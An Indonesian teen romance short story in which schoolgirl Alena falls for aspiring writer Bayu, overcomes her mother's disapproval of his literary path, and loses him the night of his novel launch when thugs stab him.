“hei, kamu nggak kenapa-napa kan?” ujarnya sambil melambaikan tangannya di depan wajahku yang sedang melamun. “oh nggak kenapa-napa kok. Eh aku mau ngembalikan ini, ini milikmu kan?” aku pun menyodorkan kertas yang bersajak yang jatuh dari sakunya waktu di pameran buku. “nah, ini yang ku cari. Terimakasih ya” begitu dia langsung menyambar kertas itu dan segera pergi meniggalkanku. “hei tunggu, kamu anak SMA sini ya? Kok aku gak pernah liat kamu?” tanyaku, mencegahnya pergi. “kenalin, aku Bayu Rangga Putra anak X11 IPA-3” oh my god! dia menyodorkan tangannya untuk mengajakku berkenalan. Betapa bahagianya aku saat ini. Nggak sia-sia lamunanku selama ini hanya untuk seorang Bayu. “Mmm.. aku Alen. Alena Pusparini Anak X1 IPA-2” betapa berbunga-bunganya hatiku. Namun setelah itu dia langsung pergi. Tampaknya dia sedang terburu-buru, tapi ya sudahlah yang penting aku sudah tau namanya dan tempat dia berada. Hal ini membuatku rajin dan makin semangat untuk pergi ke sekolah.
Hari ini adalah hari senin dan hari ulang tahun sekolahku. Aku dan Mini tak sabar untuk melihat pensi yang meramaikan hari jadi sekolahku. Hari ini memang tak biasa untukku ketika aku mengenal si Bayu dan ketika dia melontarkan senyuman saat kita nggak sengaja bertemu di jalan saat aku pulang dari rumah Mini. Ya ampun, dunia serasa indah ketika cinta memihak kita, semoga tak ada rintangan dan halangan untuk kedepannya aku pede-kate dengannya. Tampaknya sih, dia juga punya perasaan yang sama denganku. Hehe pe-de amat yah! tapi mudah-mudahan saja. Pagi ini pun aku berangkat sekolah dengan papa, karena si Mamang lagi pulang kampung.
“Alen, Len!” suara yang meneriakkanku dari belakang membuatku memutar badan. Dan ternyata, itu si Bayu yang sedang memanggilku entah ada urusan apa. Dengan nafas terengah-engah dan keringat yang bercucuran dari jidat sampai dagu, Tak tega aku melihatnya. Sampai segitunya dia mengejarku dari tadi mencariku. Ini membuatku Ge-Er. “ada apa Bay?” tanyaku sambil menenangkannya yang tampaknya amat kelelahan. “aku mau nanya aja, tadi aku lihat di daftar ada namamu tercantum mengikuti lomba Novel Remaja 2013? Apakah kamu benar-benar ikut lomba itu?” Tanya Bayu serius. Ya ampun, aku benar-benar nggak ngerti yang dia omongin. Aku nggak ikut lomba itu, tapi aku memang ingin melombakan novelku yang iseng-iseng ku buat dan kebetulan tema-nya sama dengan lomba saat ini. Mungkin ini kerjaan Mini yang sering-sering maksa aku untuk ikut lomba itu. Hm.. benar-bernar Mini kurang kerjaan. Tapi ada apa ya Bayu Tanya tentang lomba itu sampai di bela-belain keringetan kayak gini. “iya Bay, emang kenapa?” jawabku dengan penuh keraguan. “tak apa, kebetulan aku ikut juga dalam lomba itu dan aku masih belum tahu alamatnya. Bisa kita barengan dan menunggu pengumuman lomba itu juga? Kalau nggak keberatan”. Ucapnya dengan menunjukkan lesung di pipi kirinya yang makin membuat jantungku berdegub amat kencang.
Akhirnya aku dan Bayu meluncur ke acara lomba itu dengan motor sederhananya yang menurutku ini moment yang romantis. Dengan membelah jalan, kami berbincang cukup jauh dan semakin akrab saja, semakin ku mengenal sosoknya yang sederhana apa adanya. Sampai di tempat yang kami tujupun kita barengan dan pada hari pengumuman pun sama. Tetapi aku dan Bayu tak memenangkan lomba itu, tampaknya Bayu sangat tertarik dengan dunia sastra. Bukan hanya itu, bahkan kami mampir ke sebuah restoran klasik dan makan berdua layaknya sepasang kekasih. Lambat laun kita semakin dekat saja dan Mini pun tampaknya mendukung atas hal ini. Sore ini dia mengajakku ke pantai, namun aku tak sempat minta ijin ke mama papa, aku takut tidak dapat ijin. Alasannya Mini lagi, alias ngerjain tugas di rumah Mini. Maafin aku ma, pa?
Langit sore di tepi pantai dengan sepoi-sepoi angin di bawah pohon kelapa, kita duduk bersantai-santai ria menikmati indahnya hari ini. “Bay, tumben kamu ngajakin aku ke tempat kayak gini. Biasanya hanya nongkrong di restoran klasik itu. Ada apa?” tanyaku penasaran dengan tujuan Bayu mengajakku ke pantai ini. “Mmm.. emang kenapa? Kamu nggak suka ya?” jawabnya dengan memandang wajahku yang tepat di sampingnya. “loh, kok malah nanya balik? Aku suka kok Kemana aja, mmmm.. asal sama kamu” ucapku yang ku rasa ini benar-benar keceplosan!
Dengan ekspresi wajah yang malu dan mengalihkan pandangan ke ujung pantai, tiba-tiba posisi Bayu yang makin menepatkan pandangannya ke arahku yang membuatku makin tak karuan dan salah tingkah seketika. Perlahan tangannya menyentuh tanganku yang membuatku kembali memandangnya secara spontan.
“Alen, sebenarnya aku tak pantas mengatakan ini. Karena kita masih baru kenal dua bulan, tapi aku tak kuat menahan semua ini sendiri. Aku hanya ingin kamu tau bahwa aku… Aku suka sama kamu sejak pertama kita berkenalan. Kalau memang aku tak pantas, kamu tak perlu bilang apa-apa sekarang, yang penting kamu tahu semua yang ku rasakan ini” ucapnya dengan sayu dan serius, sungguh aku tak menyangka dia akan melakukan ini. “Bay cukup, aku akan menjawabnya sekarang agar kamu juga tahu. Bahwa aku, aku memang tak pantas dan tak bisa membohongi diriku sendiri bahwa aku juga menyukaimu. Bahkan sejak pertama kita tak sengaja jumpa di pameran buku waktu itu” jelasku sambil merapatkan genggaman tangan Bayu yang mendamaikan suasana.
Ketika itu kita punya hubungan spesial dan 4 bulan berjalan aku pun belum pernah memperkenalkannya kepada mama papa. Ku beranikan diri untuk melakukannya saat ini. Harus saat ini. Aku pun jujur ketika aku pergi ke pantai dengan Bayu dan bukan mengerjakan tugas bersama Mini, aku berharap mama papa ngerti. Namun apa yang terjadi, mama papa sudah mengetahui hal ini waktu mama menelvon Mini dan Mini dengan kepolosannya menjawab yang sebenarnya. Aku takut mereka marah, dan Bayu pun tahu kalau aku tak ijin dulu kepada orangtuaku waktu kita jalan-jalan ke pantai.
“Sudahlah Len, mama tahu semuanya. Tentang kalian berdua, mama papa sengaja tak menegurmu walaupun kami tahu yang sebenarnya karena mama ingin tahu kejujuran darimu. Tapi maafkan mama, mama sudah pernah bilang sama kamu jangan pernah bohong sama orangtua apapun itu, dan pilihlah pendamping yang bisa membahagiakanmu. Namun bukan dari jurusan sastra yang belum jelas masa depannya yang hanya penulis novel” ucap mama sontak membuatku tak kuasa menahan semua ini. Bagai tersambar petir di gurun pasir ketika aku mengingat ucapan mama saat itu, mama melarangku untuk bertemu dengan Bayu, sedangkan papa hanya bisa diam. Tampaknya papa tak tega melihatku tersiksa dengan keputusan mama. Ya benar, aku sangat tersiksa dengan semua ini. Berbagai penjelasan yang telah Bayu lontarkan dan mamapun tak dapat mengubah keputusannya. Ampun deh.
Hari demi hariku kini tak menyangkut tentang Bayu. Tapi ketika mama tak tahu pun aku masih sering ketemu Bayu, mau gimana lagi rasa kangen sudah menggebu-gebu rasanya. Suatu hari ketika aku dan Bayu lagi jalan menuju ke restoran klasik biasa kita ketemuan mama tahu dan akhirnya mama ngirim mata-mata buat ngawasin aku dan Bayu. Ini sungguh terlalu.
Malam ini di hari istimewa ulangtahun ku tepatnya, aku berharap Bayu datang walaupun mama tak mengijinkan ku untuk mengundangnya. Namun apa yang terjadi? Mama mengusir bayu dengan sebuah bingkisan imut yang dia bawa jauh-jauh dari rumahnya. Segitunya mama membenci Bayu? Sakit banget rasanya, Bayu maafkan aku atas semua ini, ini salahku.
Berhari-hari aku tak saling sapa dengan mama, hatiku terlalu hancur. Hanya karena kebohongan yang ku buat sehingga Bayu jadi korbannya, dan hanya karena dia memilih jurusan sastra mama tidak mau menerimanya. “Len, kenapa kamu nggak mau ngomong sama mama? Mama hanya melakukan yang terbaik buat kamu. Coba kamu berpikir positif tentang larangan mama, turutin semua apa kata mama. Mama yakin hidupmu akan indah nak”.
Sarapan pun aku tak makan sepucuk roti karena mama benar-benar ingin aku tahu tujuan mama melakukan ini semua. Mama menjelaskannya padaku, tapi tetap saja mama tak pernah ngertiin pisisi ku. Dan aku pun tak kuat lagi. “Ma, mama mikirin perasaan aku nggak sih? Selama ini aku nggak pernah minta apa-apa sama mama, aku tak pernah membantah mama. Tapi tidak untuk kali ini, maafin Alen ma. Alen mencintai Bayu. Kita akan buktiin sama mama, sastrawan tak seburuk dan sekecil yang mama kira, Alen pergi dulu”.
Menyusuri lorong sekolah dengan langkah yang tak meyakinkan, sedikit lamunan tentang kata-kata mama tadi yang terus menghantui dan membuatku tambah ingin membuktikan sebuah kenyataan yang harus di ketahui oleh mama. Tiba-tiba Mini menyambarku dan berhasil mengkaburkan lamunanku. “Apaan sih pagi-pagi udah kayak ayam, main samber aja” ucapku sedikit kesal.
“Ciyee yang lagi galau. Uwislah Alen ku yang manis, aku punya kabar gembira untuk sahabatku tersayang. Mau denger gak?” goda Mini dengan gaya logat jawa-nya. “Apaan coba?” tanyaku, ketus.
“tau nggak, Bayu menang lomba dengan novelnya dan kini dia sedang persiapin surprise buat kamu nduk ayu, dengan launching novelnya ntar malam” jelas Mini dengan penuh keyakinan. “iya kah? Kamu nggak bohong kan?” sahutku dengan wajah yang cerah ceria seketika.
Terik matahari siang ini pun tak mematahkan wajah ceriaku saat melewati gerbang sekolah. Dan dengan semangat aku pulang dengan mobil jemputan yang biasanya nganterin aku kemanapun. Membelah jalan dengan pacuan mobil yang serasa membuatku terbayang terbang bersama Bayu. Dengan langkah kaki dan semangat, aku menghampiri mama papa, tampaknya mereka terheran-heran melihat wajahku kembali ceria. “lihat saja nanti” pikirku dalam hati sambil senyam-senyun nggak jelas di hadapan mama papa. Ku rebahkan tubuh rampingku sejenak di tempat tidurku, dan “kring… kring…” suara telepon rumah tersengar dari kamarku, segera ku melonjak dan kepo banget siapa yang telepon itu, apakah dari Bayu?
“halloo, iya benar ada apa?” mama bercakap-cakap di telepon itu dan suaranya nggak begitu jelas. Mama berekspresi biasa saja, aku pun memonyongkan bibirku tanda kecewa. Ku pikir dari Bayu. Ketika aku hendak membalikkan badan, mama menjelaskan pada papa, dan ternyata itu dari karyawan hotel yang mengundang orangtuaku ke sebuah acara di hotel indah sentosa malam nanti, dan seluruh keluarga harus di ajak. Oh my god, itu pangeranku. Itu acara pangeranku. Tak jelas ku menari-nari kegirangan selagi merayakan hari itu.
Sebuah pesta yang tak kuduga sebegitu meriahnya dengan kerlip lampu-lampu yang menyilaukan dan menambah keindahan di seberang danau. Apakah benar semua ini adalah acara Bayu, bagaimana bisa dia membuat pesta semewah ini. “cek.. cek.. ehmm.. terimakasih kepada semua undangan yang telah hadir pada malam hari ini. Di acara launching novel yang Alhamdulillah berhasil menembus harapan saya. Dan semua karya tulis saya.
Disamping itu saya ucapkan banyak terimakasih kepada Ayah dan ibu yang telah hadir dan tante om dengan seseorang yang telah menginspirasi novel ini, Alenn…”. waow surprize banget, kata-kata yang terlontarkan dari mulut Bayu membuatku membeku seperti patung. Mama, papa dengan raut wajah yang terpesona seakan-akan tak percaya dengan semua ini, dengan kesuksesan Bayu.
“Om, Tante. Ijinkan saya untuk bersama puteri anda yang telah memikat hatiku sekarang dan selamanya” ujar Bayu di depan orangtuaku dengan menggengam sebuah microphone yang terdengar sayu oleh semua orang yang hadir malam ini. “iya benar, anak kami sudah lama mencintai anak anda. Tolong ijinkan anak kami untuk tetap dan terus bersama puteri anda?” permohonan orangtua Bayu yang makin mendukung suasana. “kami minta maaf atas pandangan saya dan isteri saya tentang Bayu selama ini. Dan sekali lagi, saya tidak bisa. Saya tidak bisa jika melarang mereka berdua untuk bersatu, dan saya merestui hubungan kalian. Maafkan mama mu ya nak?” jawab papa yang cukup mewakili mama.
Saat itu juga kami berdansa, selagi merasakan kebahagiaan ini yang tak terduga. Rasanya benar-benar jadi orang paling istimewa malam ini. Setelah sejam kemudian, denting jam telah menunjukkan pukul 21.00 dan aku baru ingat, bahwa hari ini aku ada acara reuni teman-teman SMP yang telah menungguku sejak sejam yang lalu. Aku pun bergegas meminta ijin kepada orangtuaku dan orangtua Bayu untuk segera beranjak ke sebuah restoran dengan di dampingi Bayu. Tepat di depan tempat yang kami tuju, Bayu tak ingin ikut kedalam untuk menemaniku, alsannya karena ini acaraku, acara pribadiku dengan teman lama ku. Dengan paksaan pun Bayu tetap tak ingin menemaniku ke dalam, akhirnya aku sendirian dengan Baju pesta yang masih ku kenakan dari perayaan pesta Bayu.
Sekian lama Bayu menugguku di seberang jalan dengan suasana malam yang dingin menggigit. Aku tak melihat sms dari Bayu dengan keadaan hp ku yang ter-silent. Dua jam aku keasyikan mengobrol dengan teman lama yang dua tahun tak bertemu, aku baru ingat Bayu menugguku di luar. Beranjak ku segera berlari mencari dimana Bayu, ternyata dia sudah tidak ada. Aku berpikir dia sudah pulang dan akhirnya aku tak enak hati lalu meyakinkan pikiranku bahwa Bayu sudah pulang dengan memastikan untuk ke rumah Bayu.
Dan ternyata apa, rumah bayu dikerumuni orang banyak. Yang aku tak tahu apa yang sedang terjadi? Dan dengan tubuhku yang ramping aku menyerobot kerumunan orang. Aku melihat sebuah ambulance dengan pintunya yang terbuka. Betapa kagetnya aku bagaikan tersambar kereta api yang berlaju kencang saat melihat sesosok Bayu yang sedang berbaring dengan tangan kirinya yang berlumuran darah akibat tusukan para preman. “Bayuuu…” Gumamku tak percaya dengan semua ini. “BAYYUUU… Kenapa kamu pergi!! kita baru merayakan semua ini hanya satu jam… Bayuu, bangun!!!” teriakku dengan menangis tak karuan.
Mama papa segera meraihku dan memelukku. “Alen sudah ya? Jangan sedih terus. Ikhlaskan Bayu. Dia juga nggak mau lihat kamu sedih dan menangis seperti ini!” kata mama menyeka air matanya lalu mengusap air mataku.
Setelah lama menagis aku pun melihat handphone ku, dan ku lihat 8 pesan dari Bayu.
“Alen, sudah malam..
Belum selesai acaranya?
Kok nggak di balas?
Sibuk banget ya?
Ya sudah aku akan nunggu kamu disini.
Aku pergi sebentar ya, ada orang yang ngelihatin mulu daritadi
Aku sayang Alen, sayang banget. I love you sayang.
Kalau sudah balas sms ku ya?”
Aku makin teriak dengan suaraku yang mulai hilang. Betapa bodohnya aku dengan kepikunanku bahwa Bayu sedang menungguku sendirian di saat malam yang hening. Baru satu jam kita mendapat restu dari mama papa. Baru sajam kita merayakan hari bahagia ini. Kenapa Bayu ninggalin aku secepat ini.
Hari-hariku kini hampa, tak ada yang mengajakku ke restoran klasik lagi. Tak ada yang membelikanku jagung bakar di kala hujan lebat, dan tak ada yang mengantarkanku ke pameran buku lagi. Bayu, walaupun kamu telah tiada dan bahagia di surga sana, kamu akan tetap selalu ada di dalam lubuk hati ini. Kamu akan selalu ada di setia lembaran diaryku dan karya-karya novel kita yang belum sempat kita selesaikan. “semoga kamu tenang dan bahagia disana. Aku selalu merindukanmu Bayu, dengan semua kenangan kita yang hanya se-jam itu. I LOVE YOU MORE BAYU…”